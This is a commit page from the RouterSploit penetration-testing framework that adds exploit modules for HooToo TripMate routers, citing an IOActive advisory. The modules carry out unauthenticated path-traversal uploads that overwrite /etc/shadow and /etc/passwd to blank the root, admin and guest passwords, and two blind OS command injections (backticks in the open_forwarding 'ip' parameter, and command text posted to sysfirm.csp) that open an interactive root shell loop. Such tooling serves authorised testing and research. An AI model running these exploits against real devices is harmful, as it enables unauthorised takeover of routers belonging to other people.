Skip to content

Commit ce7258a

Browse files
committed
[HooToo] Multiple unauth exploits for TripMate series.
1 parent 5919df7 commit ce7258a

File tree

5 files changed

+293
-0
lines changed

5 files changed

+293
-0
lines changed

routersploit/modules/exploits/routers/hootoo/__init__.py

Whitespace-only changes.
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
from routersploit import (
2+
exploits,
3+
print_success,
4+
print_status,
5+
print_error,
6+
http_request,
7+
validators,
8+
random_text,
9+
shell,
10+
mute,
11+
)
12+
13+
14+
class Exploit(exploits.Exploit):
15+
16+
"""Exploit implementation for unauthenticated arbitrary file upload in protocol.csp on HooToo TripMate routers."""
17+
18+
__info__ = {
19+
'name': 'HooToo TripMate unauthenticated protocol.csp arbitrary file upload',
20+
'authors': [
21+
'Tao "depierre" Sauvage',
22+
],
23+
'description': 'Module exploits TripMate unauthenticated arbitrary file upload in protocol.csp, '
24+
'to reset root, admin and guest passwords to blank, by overriding /etc/shadow and /etc/passwd '
25+
'on the router.',
26+
'references': [
27+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
28+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
29+
],
30+
'devices': [
31+
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
32+
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
33+
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
34+
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
35+
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
36+
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
37+
],
38+
}
39+
40+
target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
41+
port = exploits.Option(81, 'Target port running ioos')
42+
43+
def run(self):
44+
if self.check():
45+
print_success('Target is vulnerable')
46+
print_status('Overriding /etc/shadow')
47+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
48+
new_shadow = 'root:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15386:0:99999:7:::\n'
49+
new_shadow += 'admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::\n'
50+
http_request(method=u'POST', url=url, files={'name': ('../etc/shadow', new_shadow)})
51+
print_status('Overriding /etc/passwd')
52+
new_passwd = 'root:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:0:0:root:/root:/bin/sh\n'
53+
new_passwd += 'bin:x:1:1:bin:/bin:/sbin/nologin\n'
54+
new_passwd += 'daemon:x:2:2:daemon:/sbin:/sbin/nologin\n'
55+
new_passwd += 'admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh\n'
56+
new_passwd += 'mail:*:8:8:mail:/var/mail:/bin/sh\n'
57+
new_passwd += 'nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh\n'
58+
new_passwd += 'guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new\n'
59+
http_request(method=u'POST', url=url, files={'name': ('../etc/passwd', new_passwd)})
60+
print_status('Verifying new password')
61+
response = http_request(
62+
method=u'GET', url=url,
63+
params={'function': 'set', 'fname': 'security', 'opt': 'pwdchk', 'name': 'admin', 'pwd1': ''})
64+
if not response or '<errno>0</errno>' not in response.text:
65+
print_error('Password could not be updated successfully!')
66+
else:
67+
print_success('All passwords have been successfully updated to blank!')
68+
else:
69+
print_error('Target is not vulnerable')
70+
71+
@mute
72+
def check(self):
73+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
74+
# 1. Create a file in the /www/firwmare/ directory (writeable).
75+
marker = random_text(64)
76+
filename = '/www/firmware/{}'.format(marker)
77+
response = http_request(method=u'POST', url=url, files={'name': ('../{}'.format(filename), marker)})
78+
if not response:
79+
return False
80+
# 2. Check that the file was successfully created>
81+
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
82+
response = http_request(method=u'GET', url=url_marker)
83+
if not response or not response.status_code == 200 or marker not in response.text:
84+
return False
85+
# 3. Clean up the temp file. Not possible with this vuln though, so leaving the marker file on the router.
86+
return True
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
from urllib import quote
2+
3+
from routersploit import (
4+
exploits,
5+
print_success,
6+
print_status,
7+
print_error,
8+
http_request,
9+
validators,
10+
random_text,
11+
shell,
12+
mute,
13+
)
14+
15+
16+
class Exploit(exploits.Exploit):
17+
18+
"""
19+
Exploit implementation for unauthenticated OS command injection vulnerability in protocol.csp open_forwarding on
20+
HooToo TripMate routers.
21+
"""
22+
23+
__info__ = {
24+
'name': 'HooToo TripMate protocol.csp open_forwarding RCE',
25+
'authors': [
26+
'Tao "depierre" Sauvage',
27+
],
28+
'description': 'Module exploits TripMate unauthenticated OS command injection vulnerability in protocol.csp, in'
29+
' function open_forwarding, which allows executing commands on the router with root privileges.',
30+
'references': [
31+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
32+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
33+
],
34+
'devices': [
35+
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
36+
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
37+
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
38+
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
39+
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
40+
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
41+
],
42+
}
43+
44+
target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
45+
port = exploits.Option(81, 'Target port running ioos')
46+
47+
def run(self):
48+
if self.check():
49+
print_success('Target is vulnerable')
50+
print_status('Blind command injection - response is not available')
51+
print_status('Possible extraction point:')
52+
print_status('\t- Run "CMD > /www/firmware/routersploit.res"')
53+
print_status('\t- The result of CMD will be available at {}:{}/firmware/routersploit.res'.format(self.target, self.port))
54+
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
55+
shell(self, method='generic', architecture='mipsle', location='/tmp/')
56+
else:
57+
print_error('Target is not vulnerable')
58+
59+
def execute(self, cmd):
60+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
61+
params = self._urlencode_quote({
62+
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
63+
'ip': '`{}`'.format(cmd)})
64+
http_request(method=u'GET', url=url, params=params)
65+
return '' # Blind RCE so no response available
66+
67+
def _urlencode_quote(self, params):
68+
"""URL encode parameters using urllib.quote instead of urllib.quote_plus.
69+
70+
Necessary because HooToo ioos binary does not properly handle whitespaces encoded as '+' in URLs. It only
71+
handles whitespaces encoded as '%20'.
72+
"""
73+
return '&'.join('{}={}'.format(quote(key), quote(value)) for key, value in params.items())
74+
75+
@mute
76+
def check(self):
77+
url = u'{}:{}/protocol.csp'.format(self.target, self.port)
78+
# Blind unauth RCE
79+
# 1. Create a file in the /www/firwmare/ directory (writeable).
80+
marker = random_text(64)
81+
params = self._urlencode_quote({
82+
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
83+
'ip': '`echo {0} > /www/firmware/{0}`'.format(marker)})
84+
url_with_params = '{}?{}'.format(url, params)
85+
response = http_request(method=u'GET', url=url_with_params)
86+
if not response:
87+
return False
88+
# 2. Check that the file was successfully created>
89+
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
90+
response = http_request(method=u'GET', url=url_marker)
91+
if not response or not response.status_code == 200 or marker not in response.text:
92+
return False
93+
# 3. Clean up the temp file.
94+
params = self._urlencode_quote({
95+
'function': 'set', 'fname': 'security', 'opt': 'open_forwarding',
96+
'ip': '`rm -f /www/firmware/{}`'.format(marker)})
97+
url_with_params = '{}?{}'.format(url, params)
98+
http_request(method=u'GET', url=url_with_params)
99+
return True
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
from routersploit import (
2+
exploits,
3+
print_success,
4+
print_status,
5+
print_error,
6+
http_request,
7+
validators,
8+
random_text,
9+
shell,
10+
mute,
11+
)
12+
13+
14+
class Exploit(exploits.Exploit):
15+
16+
"""Exploit implementation for unauthenticated RCE vulnerability in sysfirm.csp on HooToo TripMate routers."""
17+
18+
__info__ = {
19+
'name': 'HooToo TripMate sysfirm.csp RCE',
20+
'authors': [
21+
'Tao "depierre" Sauvage',
22+
],
23+
'description': 'Module exploits TripMate unauthenticated remote code execution vulnerability in sysfirm.csp, '
24+
'which allows executing commands on the router with root privileges.',
25+
'references': [
26+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
27+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
28+
],
29+
'devices': [
30+
'HooToo TripMate HT-TM01, firmware fw-WiFiDGRJ-HooToo-TM01-2.000.046',
31+
'HooToo TripMate Nano HT-TM02, firmware fw-WiFiPort-HooToo-TM02-2.000.072',
32+
'HooToo TripMate Mini HT-TM03, firmware fw-WiFiSDRJ-HooToo-TM03-2.000.016',
33+
'HooToo TripMate Elite HT-TM04, firmware fw-WiFiDGRJ2-HooToo-TM04-2.000.008',
34+
'HooToo TripMate Titan HT-TM05, firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080',
35+
'HooToo TripMate Elite U HT-TM06, firmware fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.048',
36+
],
37+
}
38+
39+
target = exploits.Option('', 'Target address running ioos, e.g. http://10.10.10.254', validators=validators.url)
40+
port = exploits.Option(81, 'Target port running ioos')
41+
42+
def run(self):
43+
if self.check():
44+
print_success('Target is vulnerable')
45+
print_status('Blind command injection - response is not available')
46+
print_status('Possible extraction point:')
47+
print_status('\t- Run "CMD > /www/firmware/routersploit.res"')
48+
print_status('\t- The result of CMD will be available at {}:{}/firmware/routersploit.res'.format(self.target, self.port))
49+
print_status("Invoking command loop (type 'exit' or 'quit' to exit the loop)...")
50+
shell(self, method='generic', architecture='mipsle', location='/tmp/')
51+
else:
52+
print_error('Target is not vulnerable')
53+
54+
def execute(self, cmd):
55+
url = u'{}:{}/sysfirm.csp'.format(self.target, self.port)
56+
http_request(method=u'POST', url=url, files={'file': ('foo', cmd), 'fname': (None, 'sysupfileform')})
57+
return '' # Blind RCE so no response available
58+
59+
@mute
60+
def check(self):
61+
url = u'{}:{}/sysfirm.csp'.format(self.target, self.port)
62+
# Blind unauth RCE
63+
# 1. Create a file in the /www/firwmare/ directory (writeable).
64+
marker = random_text(64)
65+
cmd_echo = u'echo {0} > /www/firmware/{0}'.format(marker)
66+
response = http_request(method=u'POST', url=url, files={'file': ('foo', cmd_echo), 'fname': (None, 'sysupfileform')})
67+
if not response:
68+
return False
69+
# 2. Check that the file was successfully created>
70+
url_marker = u'{}:{}/firmware/{}'.format(self.target, self.port, marker)
71+
response = None
72+
# Command run in a thread so it might take a few milliseconds to complete.
73+
for retry in range(5):
74+
response = http_request(method=u'GET', url=url_marker)
75+
if not response:
76+
continue
77+
if response.status_code == 200:
78+
break
79+
if not response or not response.status_code == 200 or marker not in response.text:
80+
return False
81+
# 3. Clean up the temp file.
82+
cmd_rm = u'rm -f /www/firmware/{}'.format(marker)
83+
http_request(method=u'POST', url=url, files={'file': ('foo', cmd_rm), 'fname': (None, 'sysupfileform')})
84+
return True
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
from __future__ import absolute_import
2+
3+
from .autopwn import Exploit as BaseScanner
4+
5+
6+
class Exploit(BaseScanner):
7+
8+
"""Scanner implementation for HooToo vulnerabilities."""
9+
10+
__info__ = {
11+
'name': 'HooToo Scanner',
12+
'description': 'Scanner module for HooToo routers',
13+
'authors': [
14+
'Tao "depierre" Sauvage',
15+
],
16+
'references': (
17+
'http://blog.ioactive.com/2018/04/hootoo-tripmate-routers-are-cute-but.html',
18+
'https://www.ioactive.com/pdfs/HooToo_Security_Advisory_FINAL_4.19.18.pdf'
19+
),
20+
'devices': (
21+
'HooToo TripMate',
22+
),
23+
}
24+
modules = ['routers/hootoo', 'cameras/hootoo', 'misc/hootoo']

0 commit comments

Comments
 (0)